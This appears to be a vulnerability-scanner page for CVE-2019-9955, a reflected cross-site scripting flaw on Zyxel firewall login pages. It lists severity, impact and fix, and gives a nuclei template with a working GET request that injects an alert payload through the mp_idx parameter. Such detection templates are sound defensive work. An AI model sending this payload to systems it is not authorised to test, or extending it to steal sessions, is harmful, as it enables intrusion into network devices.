Zyxel - Cross-Site Scripting

mediumseverity

6.1CVSS score

21.2%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Zyxel ATP200, ATP500, ATP800, USG20-VPN, USG20W-VPN, USG40, USG40W, USG60, USG60W, USG110, USG210, USG310, USG1100, USG1900, USG2200-VPN, ZyWALL 110, ZyWALL 310, and ZyWALL 1100 devices contain a reflected cross-site scripting vulnerability on the security firewall login page via the mp_idx parameter.

Impact

Attackers can execute scripts in the victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the user.

Fix

Apply the latest firmware updates provided by Zyxel to fix the reflected cross-site scripting vulnerability.

How to confirm it

Send: GET {{BaseURL}}/?mp_idx=%22;alert(%271%27);//
Positive when: contains "\";alert('1');//" and "<title>Welcome</title>"

Run it with nuclei: nuclei -id CVE-2019-9955 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-9955

info:
  name: Zyxel - Cross-Site Scripting
  author: pdteam
  severity: medium
  description: Zyxel ATP200, ATP500, ATP800, USG20-VPN, USG20W-VPN, USG40, USG40W, USG60, USG60W, USG110, USG210, USG310, USG1100, USG1900, USG2200-VPN, ZyWALL 110, ZyWALL 310, and ZyWALL 1100 devices contain a reflected cross-site scripting vulnerability on the security firewall login page via the mp_idx parameter.
  impact: |
    Attackers can execute scripts in the victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the user.
  remediation: |
    Apply the latest firmware updates provided by Zyxel to fix the reflected cross-site scripting vulnerability.
  reference:
    - http://packetstormsecurity.com/files/152525/Zyxel-ZyWall-Cross-Site-Scripting.html
    - https://www.exploit-db.com/exploits/46706/
    - https://www.securitymetrics.com/blog/Zyxel-Devices-Vulnerable-Cross-Site-Scripting-Login-page
    - https://www.zyxel.com/support/reflected-cross-site-scripting-vulnerability-of-firewalls.shtml
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9955
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-9955
    cwe-id: CWE-79
    epss-score: 0.2118
    epss-percentile: 0.97605
    cpe: cpe:2.3:o:zyxel:atp200_firmware:4.31:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zyxel
    product: atp200_firmware
  tags: cve,cve2019,zyxel,packetstorm,seclists,edb,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?mp_idx=%22;alert(%271%27);//"

    matchers:
      - type: word
        part: body
        words:
          - "\";alert('1');//"
          - "<title>Welcome</title>"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from